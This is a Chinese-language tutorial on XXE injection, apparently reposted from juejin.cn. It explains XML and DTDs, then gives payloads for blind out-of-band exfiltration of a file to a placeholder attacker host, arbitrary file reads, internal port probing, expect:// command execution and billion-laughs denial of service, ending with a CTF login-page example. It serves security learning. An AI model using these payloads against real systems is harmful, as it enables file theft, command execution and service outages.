網站首頁 編程語言 正文
引文
在平常的WEB滲透中,我們經常會遇到SQL注入、文件上傳、SSRF、CSRF等一系列的漏洞,但XXE漏洞在座的讀者們了解過嗎。今天帶大家了解一下這個危險程度同樣很高的XXE漏洞。
簡介
Xml外部實體注入漏洞(XML External Entity Injection)簡稱XXE,XXE漏洞發生在應用程序解析XML輸入時,沒有禁止外部實體的加載,導致可以構造加載惡意外部文件,進而通過惡意外部文件對服務器進行攻擊。
基礎知識
在了解XXE漏洞前,我們先看看什么是XML實體。XML根據簡單概括為如下:可擴展標記語言 (Extensible Markup Language, XML) ,標準通用標記語言的子集,可以用來標記數據、定義數據類型,是一種允許用戶對自己的標記語言進行定義的源語言。 XML是標準通用標記語言 可擴展性良好,內容與形式分離,遵循嚴格的語法要求,保值性良好等優點。
可能單看文字讀者們不太好理解,下面給大家簡單舉個例子:
上圖就是一個簡單的XML實體,用代碼顯示可以展示為:
<bookstore> <book category="COOKING"> <title lang="en">Everyday Italian</title> <author>Giada De Laurentiis</author> <year>2005</year> <price>30.00</price> </book> <book category="CHILDREN"> <title lang="en">Harry Potter</title> <author>J K. Rowling</author> <year>2005</year> <price>29.99</price> </book> <book category="WEB"> <title lang="en">Learning XML</title> <author>Erik T. Ray</author> <year>2003</year> <price>39.95</price> </book> </bookstore>
其中根的元素是 bookstore,book中 元素有子元素:author、title、year、price。
DTD
DTD(文檔類型定義)可以合法的定義xml標簽,DTD 可被成行地聲明于 XML 文檔中,也可作為一個外部引用,接下來帶大家詳細看一下它的內部結構以更好的去理解。
內部DOCTYPE聲明
<?xml version="1.0"?> <!DOCTYPE note[ <!--定義此文檔是 note 類型的文檔--> <!ELEMENT note (to,from,heading,body)> <!--定義note元素有四個元素--> <!ELEMENT X (#PCDATA)> <!ELEMENT I (#PCDATA)> <!ELEMENT N (#PCDATA)> <!ELEMENT O (#PCDATA)> ]> <note> <to>I</to> <from>A</from> <head>M</head> <body>XINO!</body> </note>
外部DOCTYPE聲明
<!DOCTYPE 根元素 SYSTEM "URL">
XML實體注入
了解了上面的基礎知識后,我們便可以進一步學習XXE漏洞。
我們要想利用,首先要判斷服務器會不會解析XML實體,所以開始時我們先上傳一個測試文件來判斷服務器是否能解析該類型,如果解析了,我們才可以繼續利用這個漏洞。
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY [ <!ENTITY name "hello"> ]> <root>&name;</root>
判斷服務器是否解析之后我們可以看看是否支持外部實體調用:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY [ <!ENTITY name SYSTEM "vps/hack.dtd"> ]> <root>&name;</root>
判斷完之后就可以做進一步測試了,比如:
無回顯XXE(BLIND XXE)
我們將獲取的數據發送到外部的http服務器上,后面查看http服務器即可查看到提取的數據內容。
舉一個最簡單的例子:
#test.xml <!ENTITY % all "<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx/x.php?1=%file;'" > %all;
對應的payload可以寫作為:
<!DOCTYPE ANY[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx/test.xml"> %remote; %send; ]>
首先對 remote 引用的目的是將外部文件 test.xml 引入到文中,檢測到 send 實體,在節點中引用 send,就可以成功實現數據轉發。也就實現了數據的外帶。
讀取任意文件
這個也是XXE比較常用的方法,我們引入(或編輯)一個DOCTYPE元素,該元素定義一個包含文件路徑的外部實體。
探測內網端口
我們利用XXE也可以進行內網探測端口(類似于SSRF),以用來進一步對機器照成攻擊:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY> <!ENTITY xxe SYSTEM "http://127.0.0.1:80">]> <root>
命令執行
這個還是比較少見的,因為命令執行的條件比較苛刻,要求靶機php裝有expect擴展,但這個擴展是默認不安裝的,所以比較難利用。
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "expect://id" >]> <root> <name>&xxe;</name> </root>
dos拒絕服務
這個不是很了解,在網上瀏覽時注意到的,原理大概是利用迭代參數實體進行拒絕服務,讓服務器的解析變得非常非常慢。
<?xml version="1.0"?> <!DOCTYPE xml [ <!ENTITY xxe1 "xxe"> <!ENTITY xxe2 "&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;"> <!ENTITY xxe3 "&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;"> <!ENTITY xxe4 "&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;"> <!ENTITY xxe5 "&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;"> <!ENTITY xxe6 "&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;"> ]> <test>&xxe6;</test>
例題
[PHP]XXE
打開是一個登錄界面:
在源碼處會發現:
<button id="go" onclick="XMLFunction()">GO!</button>
可以判斷會解析XML文件,嘗試構造payload直接讀取文件:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root[ <!ENTITY admin SYSTEM "file:///flag"> ]> <root> <username>&admin;</username> <password>xino</password> </root>
抓包構造惡意數據然后發包:
結語
原文鏈接:https://juejin.cn/post/7150837705776529421
相關推薦
- 2022-07-15 python向量化與for循環耗時對比分析_python
- 2022-09-02 ahooks整體架構及React工具庫源碼解讀_React
- 2022-05-21 python中的變量命名規則詳情_python
- 2022-05-11 python?DataFrame數據格式化(設置小數位數,百分比,千分位分隔符)_python
- 2022-09-24 pandas刪除某行或某列數據的實現示例_python
- 2022-07-18 BeanUtils工具類
- 2022-06-21 .net中常用的正則表達式_C#教程
- 2022-02-14 jquery-選擇器、篩選器、樣式操作、文本操作、屬性操作、文檔處理
- 最近更新
-
- window11 系統安裝 yarn
- 超詳細win安裝深度學習環境2025年最新版(
- Linux 中運行的top命令 怎么退出?
- MySQL 中decimal 的用法? 存儲小
- get 、set 、toString 方法的使
- @Resource和 @Autowired注解
- Java基礎操作-- 運算符,流程控制 Flo
- 1. Int 和Integer 的區別,Jav
- spring @retryable不生效的一種
- Spring Security之認證信息的處理
- Spring Security之認證過濾器
- Spring Security概述快速入門
- Spring Security之配置體系
- 【SpringBoot】SpringCache
- Spring Security之基于方法配置權
- redisson分布式鎖中waittime的設
- maven:解決release錯誤:Artif
- restTemplate使用總結
- Spring Security之安全異常處理
- MybatisPlus優雅實現加密?
- Spring ioc容器與Bean的生命周期。
- 【探索SpringCloud】服務發現-Nac
- Spring Security之基于HttpR
- Redis 底層數據結構-簡單動態字符串(SD
- arthas操作spring被代理目標對象命令
- Spring中的單例模式應用詳解
- 聊聊消息隊列,發送消息的4種方式
- bootspring第三方資源配置管理
- GIT同步修改后的遠程分支